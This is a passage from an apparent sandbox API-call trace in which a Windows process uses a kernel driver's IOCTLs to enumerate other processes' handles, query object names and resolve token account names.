ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.549] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.549] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.549] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.549] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.549] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.549] PsAcquireProcessExitSynchronization () returned 0x0 [0114.549] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.549] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0114.549] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.549] PsReleaseProcessExitSynchronization () returned 0x2 [0114.549] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.549] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.549] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x7 [0114.549] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.549] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.550] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe4c) returned 0xc0 [0114.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.550] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800200c770, HandleInformation=0x0) returned 0x0 [0114.550] ObOpenObjectByPointer (in: Object=0xfffffa800200c770, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.550] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x14 [0114.550] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.550] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.550] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.550] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.550] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.552] CloseHandle (hObject=0xc8) returned 1 [0114.552] CloseHandle (hObject=0xc0) returned 1 [0114.552] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.552] PsLookupProcessByProcessId (in: ProcessId=0xe4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.552] PsAcquireProcessExitSynchronization () returned 0x0 [0114.552] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0) [0114.552] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035f0ae0, HandleInformation=0x0) returned 0x0 [0114.552] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.552] PsReleaseProcessExitSynchronization () returned 0x2 [0114.552] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x12 [0114.552] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.552] ObfDereferenceObject (Object=0xfffffa80035f0ae0) returned 0x1 [0114.552] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.552] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.552] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.552] PsLookupProcessByProcessId (in: ProcessId=0xe4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.552] PsAcquireProcessExitSynchronization () returned 0x0 [0114.552] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0) [0114.552] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800380cf20, HandleInformation=0x0) returned 0x0 [0114.552] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.552] PsReleaseProcessExitSynchronization () returned 0x2 [0114.552] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x12 [0114.552] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.553] ObfDereferenceObject (Object=0xfffffa800380cf20) returned 0x1 [0114.553] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.553] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.553] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0114.553] PsLookupProcessByProcessId (in: ProcessId=0xe4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.553] PsAcquireProcessExitSynchronization () returned 0x0 [0114.553] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0) [0114.553] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800322b8a0, HandleInformation=0x0) returned 0x0 [0114.553] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.553] PsReleaseProcessExitSynchronization () returned 0x2 [0114.553] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x12 [0114.553] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.553] ObfDereferenceObject (Object=0xfffffa800322b8a0) returned 0x3 [0114.553] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.553] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.553] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0114.553] PsLookupProcessByProcessId (in: ProcessId=0xe4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.553] PsAcquireProcessExitSynchronization () returned 0x0 [0114.553] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880055905d0) [0114.553] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025be8c0, HandleInformation=0x0) returned 0x0 [0114.553] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.553] PsReleaseProcessExitSynchronization () returned 0x2 [0114.553] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x12 [0114.553] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.553] ObfDereferenceObject (Object=0xfffffa80025be8c0) returned 0x1 [0114.553] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.553] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.554] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc0 [0114.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.554] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800394e630, HandleInformation=0x0) returned 0x0 [0114.554] ObOpenObjectByPointer (in: Object=0xfffffa800394e630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.554] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x29 [0114.554] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.554] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.554] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.554] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.554] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.555] CloseHandle (hObject=0xc8) returned 1 [0114.555] CloseHandle (hObject=0xc0) returned 1 [0114.555] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0114.555] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.555] PsAcquireProcessExitSynchronization () returned 0x0 [0114.555] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.555] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024f1f20, HandleInformation=0x0) returned 0x0 [0114.556] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.556] PsReleaseProcessExitSynchronization () returned 0x2 [0114.556] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.556] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.556] ObfDereferenceObject (Object=0xfffffa80024f1f20) returned 0x1 [0114.556] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.556] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.556] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0114.556] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.556] PsAcquireProcessExitSynchronization () returned 0x0 [0114.556] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.556] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800250fd10, HandleInformation=0x0) returned 0x0 [0114.556] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.556] PsReleaseProcessExitSynchronization () returned 0x2 [0114.556] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.556] ObQueryNameString (in: Object=0xfffffa800250fd10, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.556] ObfDereferenceObject (Object=0xfffffa800250fd10) returned 0x1 [0114.556] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.556] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.556] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.556] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.556] PsAcquireProcessExitSynchronization () returned 0x0 [0114.556] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.556] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.556] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.556] PsReleaseProcessExitSynchronization () returned 0x2 [0114.556] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.556] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.557] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.557] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.557] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.557] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.557] PsAcquireProcessExitSynchronization () returned 0x0 [0114.557] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.557] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800366d750, HandleInformation=0x0) returned 0x0 [0114.557] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.557] PsReleaseProcessExitSynchronization () returned 0x2 [0114.557] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.557] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.557] ObfDereferenceObject (Object=0xfffffa800366d750) returned 0x1 [0114.557] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.557] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.557] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.557] PsAcquireProcessExitSynchronization () returned 0x0 [0114.557] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.557] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020fc700, HandleInformation=0x0) returned 0x0 [0114.557] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.557] PsReleaseProcessExitSynchronization () returned 0x2 [0114.557] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.557] ObQueryNameString (in: Object=0xfffff8a0020fc700, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.557] ObfDereferenceObject (Object=0xfffff8a0020fc700) returned 0x1 [0114.557] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.557] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0114.558] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.558] PsAcquireProcessExitSynchronization () returned 0x0 [0114.558] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.558] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003843800, HandleInformation=0x0) returned 0x0 [0114.558] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.558] PsReleaseProcessExitSynchronization () returned 0x2 [0114.558] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.558] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.558] ObfDereferenceObject (Object=0xfffffa8003843800) returned 0x1 [0114.558] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.558] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.558] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.558] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.558] PsAcquireProcessExitSynchronization () returned 0x0 [0114.558] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880055905d0) [0114.558] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0114.558] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.558] PsReleaseProcessExitSynchronization () returned 0x2 [0114.558] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x27 [0114.558] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.558] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x7 [0114.558] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.558] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.558] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xecc) returned 0x0 [0114.558] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.558] PsLookupProcessByProcessId (in: ProcessId=0xecc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.558] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 